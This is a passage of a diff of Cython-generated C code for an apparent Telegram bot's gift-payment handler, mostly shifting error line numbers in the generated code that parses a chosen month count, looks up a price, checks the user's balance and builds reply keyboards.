__Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 174, __pyx_L1_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_9) < 0) __PYX_ERR(0, 172, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_9) < 0) __PYX_ERR(0, 174, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 171, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 173, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -6637,12 +6678,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L9_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 171, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 173, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 171, __pyx_L1_error) + else __PYX_ERR(0, 173, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); @@ -6733,7 +6774,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 178, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 180, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -6741,14 +6782,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 178, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 180, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("confirm_gift_handler", 1, 2, 2, 1); __PYX_ERR(0, 178, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("confirm_gift_handler", 1, 2, 2, 1); __PYX_ERR(0, 180, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "confirm_gift_handler") < 0)) __PYX_ERR(0, 178, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "confirm_gift_handler") < 0)) __PYX_ERR(0, 180, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -6761,7 +6802,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("confirm_gift_handler", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 178, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("confirm_gift_handler", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 180, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -6800,7 +6841,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_12confirm_gift_handler(CYTHO if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_4_confirm_gift_handler *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 178, __pyx_L1_error) + __PYX_ERR(0, 180, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -6811,7 +6852,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_12confirm_gift_handler(CYTHO __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_14generator4, __pyx_codeobj__23, (PyObject *) __pyx_cur_scope, __pyx_n_s_confirm_gift_handler, __pyx_n_s_confirm_gift_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 178, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_14generator4, __pyx_codeobj__21, (PyObject *) __pyx_cur_scope, __pyx_n_s_confirm_gift_handler, __pyx_n_s_confirm_gift_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -6856,11 +6897,11 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 178, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 180, __pyx_L1_error) - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 181, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 181, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; @@ -6881,20 +6922,20 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__4}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 181, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } - __pyx_t_3 = __Pyx_GetItemInt(__pyx_t_1, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 181, __pyx_L1_error) + __pyx_t_3 = __Pyx_GetItemInt(__pyx_t_1, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_selected_months = __pyx_t_3; __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_RENEWAL_PRICES); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 182, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_RENEWAL_PRICES); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 182, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -6915,7 +6956,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_selected_months, Py_None}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 182, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -6923,25 +6964,25 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __pyx_cur_scope->__pyx_v_price = __pyx_t_3; __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 183, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 185, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 183, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 185, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GIVEREF(__pyx_t_2); __pyx_cur_scope->__pyx_v_user_tg_id = __pyx_t_2; __pyx_t_2 = 0; - __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_price); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 185, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_price); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 187, __pyx_L1_error) __pyx_t_6 = (!__pyx_t_5); if (__pyx_t_6) { - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 186, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 186, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_show_alert, Py_True) < 0) __PYX_ERR(0, 186, __pyx_L1_error) - __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__25, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 186, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_show_alert, Py_True) < 0) __PYX_ERR(0, 188, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__23, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -6956,12 +6997,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L5_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 186, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 188, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 186, __pyx_L1_error) + else __PYX_ERR(0, 188, __pyx_L1_error) } } @@ -6971,7 +7012,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine } - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_get_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 189, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_get_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; __pyx_t_4 = 0; @@ -6991,7 +7032,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_user_tg_id}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 189, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -7006,23 +7047,23 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L6_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 189, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 191, __pyx_L1_error) __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); } else { __pyx_t_1 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 189, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_balance = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_1 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_balance, __pyx_cur_scope->__pyx_v_price, Py_LT); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 190, __pyx_L1_error) - __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 190, __pyx_L1_error) + __pyx_t_1 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_balance, __pyx_cur_scope->__pyx_v_price, Py_LT); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 192, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 192, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_6) { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 191, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; __pyx_t_4 = 0; @@ -7042,7 +7083,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 191, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -7050,21 +7091,21 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 192, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_types); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 192, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_types); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 192, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 192, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_PROFILE); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 192, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_MAIN_MENU); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_8) < 0) __PYX_ERR(0, 192, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_8) < 0) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 192, __pyx_L1_error) - __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 192, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 194, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -7087,24 +7128,24 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 192, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 194, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 194, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 195, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 195, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_target_message, __pyx_t_8) < 0) __PYX_ERR(0, 195, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_target_message, __pyx_t_8) < 0) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__26) < 0) __PYX_ERR(0, 195, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__24) < 0) __PYX_ERR(0, 197, __pyx_L1_error) - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 197, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = NULL; __pyx_t_4 = 0; @@ -7124,14 +7165,14 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_7, NULL}; __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; - if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 197, __pyx_L1_error) + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 199, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_t_8) < 0) __PYX_ERR(0, 195, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_t_8) < 0) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 194, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 196, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -7146,12 +7187,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __pyx_generator->resume_label = 3; return __pyx_r; __pyx_L8_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 194, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 196, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 194, __pyx_L1_error) + else __PYX_ERR(0, 196, __pyx_L1_error) } } @@ -7161,7 +7202,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine } - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 201, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = NULL; __pyx_t_4 = 0; @@ -7181,7 +7222,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_1, NULL}; __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 201, __pyx_L1_error) + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 203, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -7189,47 +7230,47 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __pyx_cur_scope->__pyx_v_builder = __pyx_t_8; __pyx_t_8 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 202, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 204, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 203, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 205, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 203, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, 